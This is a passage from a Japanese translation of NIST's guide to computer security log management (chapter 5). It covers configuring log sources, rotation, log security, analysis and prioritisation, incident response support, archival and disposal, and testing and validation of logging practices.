  - システムとインフラストラクチャのいずれか一方でログの記録が失敗しても、他方にはログデータが残るようにする。たとえば、ログサーバが故障した場合や、ネットワーク障害のためログ生成元ホストがログサーバにアクセスできない場合などに備え、システム上にもログを残しておくと、ログデータが失われる可能性を減らせる。
  - システム上のログは、そのシステムで何らかのインシデントが発生すると攻撃者によって改変または破壊される可能性がある。しかし一般に攻撃者は、インフラストラクチャに格納されたログにはアクセスできない。また、インシデント対応スタッフがインフラストラクチャのログを利用できるほか、インフラストラクチャとシステムのログを比較して改変ま

[55] Windows 2000 Professional および Windows XP Professional 用のログ設定および監査ポリシーの例については、NIST SP 800-43『*Systems Administration Guidance for Securing Microsoft Windows 2000 Professional System*』および NIST SP 800-68『*Guidance for Securing Microsoft Windows XP Systems for IT Professionals: A NIST Security Configuration Checklist*』を参照のこと。いずれの文書も、http://csrc.nist.gov/publications/nistpubs/で入手できる。

たは削除の対象とされたデータを調べることにより、攻撃者がどのような情報を隠蔽しようとしたかを特定できる可能性がある。

– 個々のシステムのシステム管理者またはセキュリティ管理者は、当該システムのログを分析するが、インフラストラクチャのログサーバ上にあるログデータの分析は担当しないことが多い[56]。したがって、システム上のログには、システムレベルの管理者が関心を有するすべてのデータが含まれている必要がある。

■ **インフラストラクチャレベルのみ** ログをインフラストラクチャのサーバに格納する場合、一般的には、システムレベルにも同じデータを格納することが望ましい。しかし、たとえばログを格納できる領域がシステムにほとんどない場合や、ログ生成元がローカルにログを格納する能力を持たない場合など（リモートのログサーバにしかログを記録できないアプリケーションなど）、両方への格納が不可能なことがある。

ログ項目を必要な場所に格納しつつログ管理インフラストラクチャにも転送するようログ生成元を設定する場合、複雑な設定が必要となることがある。5.1項の冒頭で触れたとおり、ログ生成元をどの程度カスタマイズできるかは、その種類ごとの差異がひじょうに大きい。たとえば、次のような点に違いがある。

■ 一部のログ生成元では、ログの記録先が単独のシステムログファイルに限られる。ログ管理インフラストラクチャでは、一般に、カンマ区切りやタブ区切り、syslog、データベースなどの一般的なログファイル形式がサポートされる。それらに加え、インフラストラクチャによっては、広く普及した非標準ログ形式もサポートされることがある。インフラストラクチャのソフトウェアでサポートされないログ形式がある場合は、システムレベルの管理者がログ変換プログラムを用意して定期的に実行し、ログをインフラストラクチャで使用できる形式に変換することが必要になる場合がある。そのような手段がない場合、インフラストラクチャのサーバにログを送らずに、管理者が手作業で定期的にログをレビューすることになる可能性がある。独自の形式でログを格納するような生成元には、分析作業を支援するためのログビューアや分析ツールが用意されていることが多い。

■ 一部のログ生成元では、複数種類のシステムログ（独自の非標準形式や syslog などの標準形式）を使用できる。多くの場合、異なる形式のログデータの内容は、完全には同等ではない。非標準形式のログには、標準形式よりも多くのデータフィールドが含まれることが多い。ログ生成元によっては、複数のシステムログに並行してデータを送るオプションを指定できることがある。この場合、システムレベルの管理者が非標準形式のログを使用して分析を実行しつつ、そのデータの大部分を標準形式にしてログ管理インフラストラクチャに提供できる。

■ 一部のログ生成元では、システムレベルおよびインフラストラクチャレベルの両方に並行してログを記録できる。また、一律に同じログ項目を送るだけでなく、記録する項目の種類をログ格納先ごとに指定できることもある。

ログのローテーションも、ログ生成元に関する設定の重要な要素である。システムレベルの管理者およびインフラストラクチャ管理者は、すべてのログ生成元をログのローテーションを行うよう設定すべきである。ローテーションのタイミングとしては、定期的（1 時間おき、1 日おき、1 週おきなど）に行うのと、ログファイルのサイズが所定の上限に達したとき（1 MB、10 MB、100 MB など）に行うのと、

[56] 組織によっては、ログ管理インフラストラクチャのログサーバに格納されたシステムログデータに当該システムレベルの管理者がアクセスすることを許可している場合もある。こうしたことは、ローカルにログを記録できないシステム、または、ログを保存できる期間が短いシステムを使用している場合に、最も多く発生する。

両方を指定することが望ましい[57]。ログのローテーション機能を持たない生成元については、ローテーション処理用のユーティリティやスクリプトを別途配備することが必要になる可能性がある。ただし、独自形式のログを使用する生成元などで、場合によってはサードパーティ製のログローテーション手段が受け付けられないこともある。そうした場合には、ログがいっぱいになったときの処理方法として次のような選択ができるようになっているのが一般的である。

- **記録を停止する** これを指定することは、運用に関連するセキュリティイベントを監視できない状態で運用の続行を許すことであるため、通常は許容されない。
- **最も古い項目から上書きする** これは優先度の低いログ生成元については許容されることが多い。特に、重要なログ項目についてログサーバへの通信やオフラインストレージへのアーカイブがすでに済んでいる場合はまず問題にはならない。また、ローテーションがひじょうに困難であるようなログに対する処理方法としても通常最適と考えられる。
- **ログ生成元の稼働を停止する** ログを記録することがきわめて重要な場合は、ログ項目を記録できる空き領域がなくなった時点でシャットダウンするように、当該ログを生成する OS、セキュリティソフトウェアまたはアプリケーションを設定することが必要となる可能性がある。該当するシステムについては、ログ格納用の領域を十分に確保することと、ログの使用状況を注意深く監視することのために適切な方策をとるべきである。

こうしたログ生成元の多くには、ログがいっぱいになる直前（普通、80～90%など既定のしきい値による）に管理者への警告を発し、完全にいっぱいになった時点で再度警告を発する機能がある。この機能は、あらゆるログ生成元において役立つ可能性があるが、ログがいっぱいになる速度がゆるやかなものに対して特に効果的である。実際にいっぱいになる数日前に最初の警告が発せられれば、管理者は十分な時間をかけて必要なログ項目をアーカイブし、それからログを消去できる。

ログ記録、データ保管、メディアサニタイズに関する組織のポリシーを遵守するために、インフラストラクチャ管理者およびシステムレベルの管理者は、古いログを適切な期間にわたってアーカイブし、不要になったあと廃棄することについて責任を負う[58]。分析の迅速化やそのほかの理由でシステム上に大量のログを保持する必要があれば、ログアーカイブ用のストレージ装置（ハードディスクなど）を管理者が追加調達することが必要な場合がある。システム上に残っている古いログデータが、重要でないかアーカイブ済みであることで不要になった場合は、そのログデータの廃棄を実行する。廃棄は通常、その古いログファイルを削除するか、特定の日時よりも前のすべての項目についてログの消去を実行することにより行う。多くのログ生成元には、ログ消去機能がある。

5.1.3. ログのセキュリティ

インフラストラクチャ管理者およびシステムレベル管理者は、ログデータの完全性と可用性を（多くの場合は機密性も）保護する必要がある。5.1.2項では、可用性をサポートするログの格納およびアーカイブプラクティスについて説明した。システム上、格納中、転送中のログのセキュリティ保護に関する追加的な考慮事項としては、次のようなものがある。

---

[57] ログの循環は必ずしも明快な形で行われるとは限らないことに注意が必要である。循環処理が発生した時点で何らかのイベントが進行中であった場合、当該イベントに関するログ項目が 2 つのログファイルに分割される可能性がある。場合によっては、すでに進行しているイベントのログを記録するためにログ生成元が古いログへの記録を続行することがある。その場合、アーカイブ済みのログファイルが実際にはその後も（一般には数分程度）更新され続けることになる。

[58] 多くの場合、アーカイブの必要があるのは古いログ項目の一部だけである。必要なデータだけをアーカイブするために、管理者はログのフィルタ処理を実行することがある。これを行うことで、アーカイブに必要な時間と格納容量を節約できることが多い。

- **ログファイルへのアクセスを制限する** ユーザには、ほとんどのログファイルへのアクセスはいっさい許可すべきでない。ログ項目の作成のためにある程度のレベルのアクセスが必要とされる場合は例外であるが、その場合でも可能な限り読み取り許可を除外し、追記の許可のみを与えるべきである。ユーザに、ログファイルの名前変更、削除、そのほかのファイルレベル操作を許可すべきでない。

- **扱いに注意を要するデータは記録の必要性がない限り記録しない** ログによっては、扱いに注意を要するデータ（パスワードなど）が、必要性がないにも関わらず記録されることがある。許可のない者にアクセスされると大きなリスクが生じるような情報は、可能な限りログに記録しないような設定にすべきである。

- **アーカイブしたログファイルを保護する** これには、ログファイルのメッセージダイジェストを作成してそのセキュリティを保護すること、ログファイルを暗号化すること、および、アーカイブメディアを物理的に十分保護することが含まれる可能性がある。

- **ログ項目を生成するプロセスのセキュリティを保護する** ログ生成元におけるプロセス、実行可能ファイル、設定ファイル、およびログの記録に影響し得るその他の構成要素に対して、許可のない者による操作を認めるべきでない。

- **ログ記録エラー発生時に適切な動作をするよう各ログ生成元を構成する** たとえば、特定のログ生成元においてログの記録がきわめて重要な場合、記録に失敗したときはそのログ生成元の稼働を停止するよう構成すべきであると考えられる。また、ログファイルがいっぱいになった場合（5.1.2項を参照）などもこれに該当する。

- **システムから一元管理ログ管理サーバへログデータを通信するためのセキュリティ保護されたメカニズムを実装する** これは、そうした保護が必要であるにも関わらずログ管理インフラストラクチャによって自動的に提供されない場合に考慮する必要がある。FTP や HTTP（Hypertext Transfer Protocol）など多くの転送プロトコルは、セキュリティ保護能力を備えていない。管理者は、システム上のログに関するソフトウェアを、セキュリティ機能を備えたバージョンにアップグレードするか、IPSec（Internet Protocol Security）や SSL など別のプロトコルを使用してログ通信を暗号化することが必要な場合がある。

5.2. ログデータの分析

ログデータの分析を効果的に行うことは、ログ管理においてしばしば最も困難な部分であるが、通常は、最も重要な部分でもある。管理者にとって、ログデータの分析はつまらなく非効率的な作業（多大な労力を要する割に価値が少ない）と考えられがちであるが、強力なログ管理インフラストラクチャを整備し、ログ分析プロセスの可能な限り多くの部分を自動化すれば、分析作業の質が大幅に向上し、短い時間で価値の高い結果を得られるようになる可能性がある。この項では、ログ内容の理解とログ項目の優先順位付けに関する推奨事項を示し、また、システムレベルとインフラストラクチャレベルでの分析の比較についても述べる。

5.2.1. ログ内容の理解

ログ分析を行ううえで最も重要なのは、各システムに関する平常時の活動を理解しておくことである。ログ項目にはひじょうに理解しやすいものも一部あるが、多くの項目は容易には理解できない。その主たる理由は、次のとおりである。

- **コンテキスト情報が必要である** ログ項目の意味は、それが発生したときのコンテキスト（状況）に依存することが多い。したがって、管理者はコンテキストを明らかにしなければならない。それには、たとえば 1 つまたは複数のログに記録されたログ項目による補足情報や、ロ

グ生成元以外の情報（設定の管理記録など）が必要となる。コンテキストは、信頼性のないログ項目（悪意ある活動を検知しようとしてフォールスポジティブをしばしば生成するセキュリティソフトウェアが記録したものなど）の妥当性を確認する際に必要である。インフラストラクチャ管理者は、システムレベル管理者にログ項目のコンテキストを提供するために、必要に応じて支援を申し出るべきである。

- **メッセージが明確でない** ログ項目には、管理者には理解できない、ソフトウェアベンダーだけにとって意味がある難解なメッセージまたはコードが含まれることがある。そうした項目の意味を調べるために、ソフトウェアベンダーと話し合うことが必要になる場合がある。ソフトウェアベンダーのログ生成方法については SIEM ソフトウェアが詳細な情報を保持していることが多いため、一般に、SIEM ソフトウェアを使用してログを分析すると不明確なメッセージの数を減らすことができる。ただし、SIEM ソフトウェアもすべてのメッセージを理解できるわけではなく、たとえば、製品に対する最新の更新プログラムが提供されて間もないとき、そのバージョンで新設された種類のメッセージは認識されない可能性がある。

ログ項目の意味は、場合によっては不完全にしか理解し得ないことがある。たとえば、ある項目のコンテキストを十分に知るための補足情報を記録する能力をログ生成元が備えていない場合がある。また、特定のメッセージが持つ意味について十分な詳細情報をソフトウェアベンダーが提供できない場合がある。管理者がすべてのログ項目の意味を理解することが望ましいのは言うまでもないが、それが不可能であることも多い。また、ログ項目の種類が多すぎる場合、すべての項目を完全に理解するには作業リソースが足りないことがある。

ログデータの意味を的確に理解するための最も効果的な方法は、ログデータの一部について定期的な（たとえば毎日）レビューおよび分析を実行することである。その目標は、ログ項目の平常時のベースラインを（多くの場合は、当該システムのログ項目の大半が網羅されるような形で）把握していくことである（ログデータは、かなりの割合が、わずか数種類のログ項目で占められることが多いため、これは、実際にはさほど困難なことではない）。毎日のログのレビューでは、重要であると考えられる項目と、意味を十分に理解できていない一部の項目を対象とする。ほとんどのログ項目の重要度を知るためには、大きな手間を要する可能性があるため、ログ分析プロセスを実行し初めてからの数日間から数週間（場合によっては数か月間）は特に困難が多く、所要時間も長くなる。その後、平常時の活動に関するベースラインが広がり、深みを増せば、短い所要時間で、特に重要度の高いログ項目に対象を絞り込んだログのレビューを行い、より有用な分析結果を得られるようになる。

ログ項目を理解するもう 1 つの目的は、分析プロセスを可能な限り自動化することである。注目に値するログ項目とそうでないものを区別できれば、ログ項目の自動フィルタ処理を設定でき[59]、悪意によるものとわかっているイベントを認識して自動的に対応策をとれるようになる（管理者への通知、ほかのセキュリティ管理策の設定変更など）。また、管理者の手作業による分析を適切に優先順位付けできるようにフィルタ処理を行うという目的もある。その場合は、手作業による分析に適した数の項目が管理者に対して提示されるようにフィルタを設定する。効果的な方法の 1 つとして、2 つのフィルタを用意し、一方を最も重要と考えられる項目の抽出に、もう一方を意味の把握が不十分な項目の抽出に使用することが考えられる。2 つのフィルタを使って得た結果は、いずれもレビューの対象となるが、レビューの優先度は前者のほうが高い。ただし、後者に対するレビューがあまり頻繁に行われないと、ログのベースラインが十分に広がらず洗練されない可能性がある。

[59] 3.1項で述べたように、フィルタ処理はログの原本には変更を加えず、単に分析の対象とするログ項目を絞り込む処理である。除外される項目も、ほかの項目のコンテキスト情報を得る場合や、長期的なセキュリティ問題を、傾向分析を通じて特定する場合など、ほかの用途で必要になる可能性がある。

5.2.2. ログ項目の優先順位付け

ログ項目の分析に関する優先順位付けには困難が伴う場合がある。個々の項目には、ログ生成元によって独自に優先度が割り当てられていることもあるが、尺度や段階に一貫性がない場合が多く（高／中／低、1～5、1～10 など）、容易に優先度を比較することはできない。また、項目の優先順位付けに使用する基準は、製品ごとに異なる要件に基づいている場合が多く、それらの要件の内容も、組織として定めた要件に合わない場合がある。したがって、ログ項目に対する優先度の割り当てについては、次のような要素を組み合わせて独自に行うことを検討すべきである。

- 項目の種類（たとえば、メッセージコード「103」、メッセージクラス「CRITICAL」）
- 項目の種類の新しさ（これまでにログに記録されたことがある種類かどうか）
- ログ生成元
- 送信元または送信先 IP アドレス（ブラックリストに登録されている送信元アドレス、重要システムである送信先アドレス、過去のイベントに関与している特定 IP アドレスなど）
- 時間帯または曜日（項目によっては、特定の時間帯以外に発生してはならないものがある）
- 項目の発生頻度（x 件が y 秒間に発生など）

優先順位付けでは、ログ項目間の相関を調べることで、それらの項目の妥当性を確認する作業が必要となることもある。たとえば、システムへのファイル改変攻撃と考えられる活動がホストベースの侵入検知ソフトウェアで検知され、その一方で、当該ファイルに対する改変操作が成功した旨の監査項目がホストの OS ログに記録されたとする。これら 2 つのログ項目を相関により結び付けると、どちらか一方のログ生成元の情報しかない場合よりも高い確度で攻撃の成功を示す情報となり、攻撃に関するデータも片方だけの場合よりも多く得られる可能性がある。このほか、相関を優先順位付けの要素として使用する方法としては、組織内にインストール済みのオペレーティングシステムやアプリケーションに関する既知の脆弱性の情報を利用して、これらの脆弱性に関連するログ項目に割り当てる優先度を引き上げることなども考えられる。

5.2.3. システムレベルおよびインフラストラクチャレベルにおける分析の比較

一般に、システムレベルの管理者とインフラストラクチャ管理者が行う分析作業の内容はひじょうによく似ている。最大の相違点は、インフラストラクチャ管理者にとってはログ分析が主要な任務の 1 つであるのに対し、システムレベルの管理者にとっては二次的な仕事である場合が多いことである。特に、システムの最も重要なログ項目をレビューする担当者がインフラストラクチャ管理者である場合にこの傾向が強い。そうした体制では、インフラストラクチャ管理者は日々継続的にログ分析を行い、システムレベルの管理者は各システムおよび情報の重要度に応じて定期的なレビュー（1 日おき、1 週間おきなど）を行うのが一般的である。また、高度なツールをすべてのシステム向けに用意するのはコストがかかりすぎるという理由から、インフラストラクチャ管理者のほうが強力なツールを使用できることがある。

インフラストラクチャレベルで行われる分析作業の程度にかかわらず、システムレベルの管理者は一般に、次のような種類のログ項目について分析を行う必要がある。

- システムレベルにとっては注目を要するかまたは重要であるが、相対的な重要度が低いためインフラストラクチャレベルへは転送されないような項目
- インフラストラクチャに自動的に加われないログ生成元（特殊な非標準形式を使用するシステム、スタンドアロンシステム、レガシーシステム、アプライアンスなど）で生成される項目

- システムレベルでしか得られないコンテキスト情報がないと、その意味を理解できないようなログ項目

システムレベルの管理者は、レビューおよび分析にさまざまなツールや技法を用いることが多い。システムによっては（特に、多数のログ生成元がある場合）、ローカルのログ管理インフラストラクチャを構築し、当該システムのすべての生成元からのデータをそこに格納するのが効果的であることがある。そうでないシステムにおいては（特に、非標準のログ形式について）、各ログ生成元ごとに、それぞれの形式専用のログビューアや縮減ツールなどのユーティリティを使用して個別に分析を行うこともある。また、ログデータをデータベースにエクスポートし、データベースに対して照会を行うことも考えられる。データベース照会は、分析のためにログデータのフィルタ処理をする方法としてひじょうに優れている[60]。分析プロセスのほとんどを自動化できる場合には、分析報告を毎日生成して管理者がそれをレビューするといった体制を実現できる可能性もある。その場合、管理者は、報告書によって特定された重要なイベントの詳細調査を必要に応じて行うことができる。

システムレベル管理者とインフラストラクチャ管理者は、レビューおよび分析を効果的に行うために、トレーニングまたは実地の経験を通して次の事項を十分に理解しておくべきである。

- **組織の利用規定ポリシー** 管理者がポリシー違反を認識できるために知っておく必要がある。
- **各ホストで使用されているセキュリティソフトウェア** 各プログラムで検知できるセキュリティ関連イベントの種類と、各プログラムの検知能力に関する大まかな特性（既知のフォールスポジティブなど）を含む。
- **各ホストで使用されているオペレーティングシステムおよび主要アプリケーション（電子メール、Web など）** 特に、各 OS および主要アプリケーションのセキュリティおよびログに関する機能と特性について。
- **よく使用される攻撃手法の特性** 特に、それらの手法が使用された場合、各システムにどのようにそれが記録されるかについて。
- **分析を実行するために必要なソフトウェア** ログビューア、ログ縮減用スクリプト、データベース照会ツールなど。

各組織では、システムレベルの管理者からログ管理インフラストラクチャ管理者に分析結果を報告するよう求めていることが多い。これは、システムレベルの管理者に定期的なログ分析を確実に実行させるのに役立つ。また、その報告をインフラストラクチャ管理者がレビューすることで、個別システムレベルでは認識できない活動パターンを特定できるため、報告に盛り込まれる情報はインフラストラクチャ管理者にとっても有用である。たとえば、複数のシステムに同じ攻撃が行われていれば、インフラストラクチャ管理者はそれを知ることができる。そうして分析報告からインフラストラクチャ管理者が得た情報を、システムレベルの管理者に周知すれば、システムレベルの管理者は同様の活動が自分の担当システムで発生した場合にそれを認識しやすくなる。また、インフラストラクチャ管理者は、自分自身が行った分析活動の結果を要約した報告書（場合によっては、システムレベルの管理者からの報告の要約をも含む）を作成すべきである。報告書の要点（特に、分析作業の結果として問題が特定され修正された実績）を定期的に管理職層に伝えれば、組織の管理職層に対しログ管理のメリットを示すことができる。

[60] イベントの件数がひじょうに多い場合、スキーマの設計が不適切である場合、またはデータベースが適切に保守されていない場合など、データベースの照会でパフォーマンス上の深刻な問題が発生する可能性がある。また、照会内容の複雑さも照会の所要時間に大きく影響する。場合によっては、ログイベントのデータベースにおける 1 件の照会処理に数時間を要することもある。

5.3. 特定されたイベントへの対応

ログ分析の作業において、インフラストラクチャ管理者およびシステムレベルの管理者は、何らかの対応を要する重要なイベント（インシデント、運用上の問題など）を特定することがある。コンピュータセキュリティインシデントに該当すると考えられるイベントを特定した場合、管理者は、組織のインシデント対応ポリシーに従って適切な措置がとられるよう、所定のインシデント対応手順を実施すべきである。コンピュータセキュリティインシデントの例としては、ホストへのマルウェア感染や、何者かの手によるホストへの無許可アクセスなどがある。深刻でない運用上の問題（たとえば、ホストのセキュリティソフトウェア構成ミス）など、インシデントに該当しないイベントについては、管理者自身が対応をとる。組織によっては、インシデントやログ管理に関連する運用上の問題についてシステムレベルの管理者がインフラストラクチャ管理者に報告することを義務付けることで、個別システムレベルで認識できないような共通的な活動やパターンについての事実を、インフラストラクチャ管理者が、より的確に特定できるようにしている場合もある。

システムレベル管理者およびインフラストラクチャ管理者は、インシデント対応チームの作業を支援する用意もしておくべきである。たとえば、何らかのインシデントが発生した場合、関係するシステムレベル管理者は、システムのログをレビューして悪意ある活動の兆候を調べたり、インシデント対応担当者による詳細分析のためにログのコピーを提供したりすることを依頼される可能性がある。また、インシデント対応の一環として、ログの設定に変更を加える必要が生じる場合があるため、それに応じる用意も必要である。ワームなどの有害なイベントが発生すると、ひじょうに多くのイベントがログに記録されることが多く、これは、システムパフォーマンスの低下、ログプロセスの飽和、記録されて間もないログ項目への上書きなど、さまざまな不都合の原因となる。さらに、膨大な数の項目にまぎれて、ほかの重要なイベントに関する記録を見落とす可能性もある。そこで、システムやログが飽和状態になるのを防ぐため、ログ設定を生成元に応じて短期的、長期的または永続的に変更する必要が生じることがある。場合によっては、対応の一環として通常よりも多くのデータを記録する必要が生じることもある（特定の種類の活動に関する追加情報の収集など）。類似のインシデントを特定するために、管理者が追加的なログ監視および分析作業（当初のインシデントについて有用な情報を記録した特定の種類のログ生成元をさらに綿密に調査するなど）を実行することも必要になる可能性がある（一般的には短期間）。

5.4. ログデータの長期保存の管理

一般に、管理者は担当ログの格納の管理について責任を負う。必要な期間にわたってログが保管されるよう、ログデータ格納に関する組織の要件およびガイドラインに留意すべきである。ログデータがすでにログ管理インフラストラクチャへ転送されている場合、システムレベルの管理者がログデータを長期的に格納する必要はないことがある。特定の保管期間にわたってログデータを格納しておく必要があり、その期間が比較的短い（数日間から数週間）場合は、オンラインのままにしておき、定期的システムバックアップの対象とすれば十分と考えられる。保管期間が比較的長い（数か月間から数年間）場合、一般的に、管理者は次の作業を行う必要がある。

- **アーカイブするデータのログ形式の選定** ログの形式が非標準の場合は、その形式でアーカイブするか、標準形式でアーカイブするか、またはその両方でアーカイブするかを決定する。非標準形式のログは、何年も経つと読み解くのが難しくなる可能性がある（生成元のソフトウェアが入手不可能になったり、その形式をサポートしなくなったりするなどして）。しかし、非標準形式のログには、標準形式では記録できない追加情報や詳細情報が含まれることがあるため、アーカイブ用のストレージ容量が十分にある場合は、両方の形式でログをアーカイブしておくことが役立つ可能性がある。
- **ログデータのアーカイブ** 使用するメディア形態としては、バックアップテープ、CD、DVD、ストレージエリアネットワーク（SAN）、ログアーカイブ専用アプライアンスまたはサーバなどが

考えられる。メディア形態の選定にあたって、管理者はデータの保管期間をよく考慮すべきである。たとえば、5 年を超える長期にわたってログデータを保管する必要がある場合、5 年以内の使用のみ想定している種類のメディアでは期間が不十分である。別の種類のメディアを選択するか、5 年以内に別のメディアへとデータを転送することを計画しなければならない。また、採用するメディアにアクセスするためのハードウェアおよびソフトウェアが、保管期間の終了時にも入手可能であると期待できるかどうかも考慮すべきである。アーカイブ済みメディアの形式は、定期的に見直しをして、アクセス不能になるおそれがないかを判断し、必要な場合は別のメディアにデータを転送すべきである。

- **転送したログの完全性の検証** 3.1項で述べたように、これは各ログファイルのメッセージダイジェストを作成することで行うのが一般的である。改変されたログファイルから算出したメッセージダイジェストは、元のメッセージダイジェストと一致しない。管理者は、元の各ログから生成したメッセージダイジェストと、各ログファイルのコピーのメッセージダイジェストとを比較し、転送時にファイルの改変が発生していないことを確認すべきである。

- **メディア保管時のセキュリティ確保** 管理者は、メディアが物理的に十分保護されるようにしておく責任を負う。物理的保護の第 1 の要素は、無許可の物理的アクセスを防ぐことである。これは一般に、セキュリティが確保された場所にメディアを置き、その場所へのアクセスを監視することによって行う。第 2 の要素は、適切な環境条件を維持することである。それには、湿度および温度を調整するほか、水分や磁気などメディアを損傷する可能性があるものからメディアを保護する必要がある。また、アーカイブメディアは実稼働サイトから離れた施設に保管することが多い。

管理者は、アーカイブしたログに要求されているデータ保管期間が終了した時点で、データを確実に正しい方法で廃棄することについても責任を負う。これは、システム、定期バックアップ用メディアおよびアーカイブメディアに格納されているログのいずれにも適用される。ログを廃棄する際には、メディアサニタイズに関する組織のポリシーおよび手順に従うべきである。廃棄方法の例としては、論理的破壊（乱数値による上書きの繰り返しなど）および物理的破壊（シュレッダーによる細断、ハードディスクの消磁など）がある[61]。

5.5. その他のサポートの提供

このセクションでこれまで述べてきた運用プロセス以外にも、インフラストラクチャ管理者およびシステムレベルの管理者がログ運用に関して提供しなければならないサポートがある。管理者は、次の事項を定期的に実行すべきである。

- すべてのログ生成元のログステータスを監視し、個々の生成元が有効になっていること、正しく設定されていること、および期待どおりに機能していることを確認する。

- ログのローテーションおよびアーカイブプロセスを監視し、ログのアーカイブおよび消去が正しく行われていること、古いログが不要になった時点で破棄されていることを確認する。ログのローテーションに関する監視は、ログを記録可能な空き領域の自動または手動によるチェックを含めるべきである[62]。

- ログソフトウェアに対する更新およびパッチの提供の有無を確認し、それらを入手、テスト、配備する。

---

[61] メディアのサニタイズ処理の詳細については、NIST SP 800-88『*メディアのサニタイズに関するガイドライン（Guidelines for Media Sanitization）*』（http://csrc.nist.gov/publications/nistpubs/）を参照のこと。

[62] 多くの管理者はログファイルを独立したパーティションに配置している。これは、ログのために用意したディスク領域が意図に反してシステムのユーザデータおよびその他のファイルによって消費されるのを防ぐのに役立つ。また、ログファイル類を 1 つの場所にまとめることで、ログ用空き領域の監視も容易になる。

- 各システムの時計を標準時刻と同期した状態に保ち、タイムスタンプがほかのシステムで生成されるものと一致するようにする。
- ポリシーの変更、監査結果、技術的な変化、新たなセキュリティニーズなどの要因に基づき、必要に応じてログ管理の設定変更を行う。
- ログの設定およびプロセスにおいて検出した異変を文書化する。そうした異変は、悪意のある活動、ポリシーや手順からの逸脱、ログメカニズムの欠陥などを示している可能性がある。システムレベルの管理者は、インフラストラクチャ管理者に異変を報告すべきである。

5.6. テストおよび妥当性検証の実行

各組織は、テストおよび妥当性検証活動を定期的に実行し、組織のログ管理ポリシー、プロセスおよび手順が組織全体のインフラストラクチャレベルとシステムレベルの両方で遵守されていることを確認すべきである。ログ管理の監査を実施して、ポリシー、手順、技術およびトレーニングの不備を明らかにし、対策を講じることができる。また、ほかのシステムに役立つと考えられる効果的なプラクティス（特定のログ管理上の設定やフィルタ設定など）を見つけるためにも監査は有効である。

ログのテストおよび妥当性検証の最も一般的な手法としては、次のものがある。

- **受動的手法** テストおよび妥当性検証を実施する監査員またはそのほかの担当者は、ログ管理の設定、システムログ、インフラストラクチャログ、アーカイブ済みログのレビューを、代表的サンプルとして選定したシステムおよびインフラストラクチャサーバに対して行い、サンプルにおいてポリシーおよび手順が遵守されていることを確認する。
- **能動的手法** テストおよび妥当性検証を実施する監査員（あるいはその指示を受けたセキュリティ管理者）またはそのほかの担当者は、代表的サンプルとして選定したシステムおよびインフラストラクチャサーバを対象に、脆弱性スキャン、ペネトレーションテスト、または定型的アクション（リモートからシステムへのログインなど）を実行することでセキュリティイベントを発生させる。その後、それらの活動によって生成されるべきログデータが存在することと、組織のポリシーおよび手順に従った対応が行われたことを確認する。

ほとんどの場合、テストおよび妥当性検証の作業は受動的手法を用いる。能動的手法は、ログプロセスを実際にテストするため、受動的手法よりも効果的であることが多い反面、リソースの負担が大きい手法でもある。また、ペネトレーションテストなど一部の能動的手法は、意図せずシステムの機能を阻害したり、深刻なコンピュータセキュリティインシデントが発生したかのような状況を作り出したりすることがあるため、必ず管理職層から適切な承認を受け、運用およびセキュリティスタッフとの調整の上でのみ実行すべきである。場合によっては、ログのテストおよび妥当性検証だけでなく、そのほかの機能を監査する目的でも能動的手法が用いられることがある。たとえば、ログ管理スタッフや日常の運用に関与するそのほかの人々に告知せずに能動的手法を使用して、ログに記録された疑わしい活動（監査員による能動的手法によるもの）に対する組織のインシデント対応の実効性を評価することが考えられる。

組織は、ログ管理インフラストラクチャ自体と、代表的サンプルとして選定したログ生成元について、定期的なセキュリティ監査を実施すべきである。これは、リスクアセスメントとして、ログ管理インフラストラクチャの各層に属するホストが直面する脅威と、それらの脅威を阻止するために導入されているセキュリティ管理策とを考慮しつつ行うものとする。具体的なセキュリティ目標には以下のようなものがある。

- インフラストラクチャのログサーバは、セキュリティ強化が完全であり、ログ管理のサポートに特化した機能だけを実行する。
- ログを生成するシステムは適切にセキュリティ保護されている（すべてのパッチが適用され、不要なサービスが無効になっている）。
- システムレベルおよびインフラストラクチャレベルのログおよびログソフトウェア（ホスト上およびメディア上とも）に対するアクセスは厳しく制限され、ログおよびソフトウェアの完全性は保護および確認される。
- ログデータに関するすべてのネットワーク通信は、必要に応じて適切に保護されている。

また、ログ管理インフラストラクチャの設計も定期的に見直しをし、必要に応じて変更を行うべきである。設計を変更する理由としては、ログ管理ソフトウェアの改良や機能強化を利用すること、処理可能なログデータ量を増やすこと、いっそう強力なセキュリティ管理策のニーズに対処することなどが考えられる。変化する環境の中で最新の脅威に対する検知の実効性を維持するためにも、ログ管理プロセスおよび手続きに対する定期的な見直しは必要である。

5.7. まとめ

システムレベルの管理者およびインフラストラクチャ管理者は、担当するログの管理について標準的なプロセスに従うべきである。ログ管理の主な運用プロセスとしては、一般に、ログ生成元の設定を行うこと、ログを分析すること、特定されたイベントに対して初期対応を行うこと、長期データ保存を管理することなどがある。

システムレベルの管理者は、必要な情報を望ましい形式および場所で記録するよう、また、適切な期間にわたって情報を保管するようログ生成元の設定を行う必要がある。システムレベルの管理者は、ログ管理の設定についての計画を立案するにあたり、設定が生成元ホストに及ぼす影響だけでなく、そのほかのログ管理インフラストラクチャを構成する要素への影響まで考慮すべきである。また、ログのローテーションを行うようログ生成元を設定する必要がある。ローテーションのタイミングとしては、定期的に行うのと、ログファイルのサイズが所定の上限に達したときに行うのと、両方を指定することが望ましい。ログを自動的にローテーションできないログ生成元については、ログがいっぱいになった場合に適切な動作をするようシステムを設定する必要がある。

システムレベルの管理者およびインフラストラクチャ管理者は、不要になった古いログを、ログ記録、データ保管およびメディアサニタイズに関する組織のポリシーに従って確実に廃棄することについて責任を負う。また、システム上、格納中および転送中のログの機密性、完全性、可用性を保護することも必要である。さらに、システムのログ運用（ログステータスの監視、ログのローテーションおよびアーカイブプロセスの監視など）について継続的なサポートを提供するとともに、ログソフトウェアに対する更新およびパッチを入手、テストおよび配備することも任務に含まれる。

各組織は、ログ分析の職務をシステムレベルとインフラストラクチャレベルとの間で、どのように分担するかを決定し、さらに、ログ管理が組織全体にわたって効果的に行われるよう、管理者に対して十分なサポートを行う必要がある。ログ分析に関する責任分担を決める場合は、さまざまなログ項目同士を比較した場合の相対的な重要性と、個々のログ項目が持つ本来の意味を理解するためにどのようなコンテキストが必要であるかに注目することが必要である。ログ分析を行ううえで最も重要なのは、各システムに関する平常時の活動を理解しておくことである。この理解を得るための最も効果的な方法は、ログデータの一部について毎日のレビューおよび分析を実行することである。毎日のログのレビューでは、重要であると考えられる項目と、意味を十分に理解できていない一部の項目を対象とする。平常時のログ項目を把握しておくことは、ログ項目の自動フィルタ処理を設定

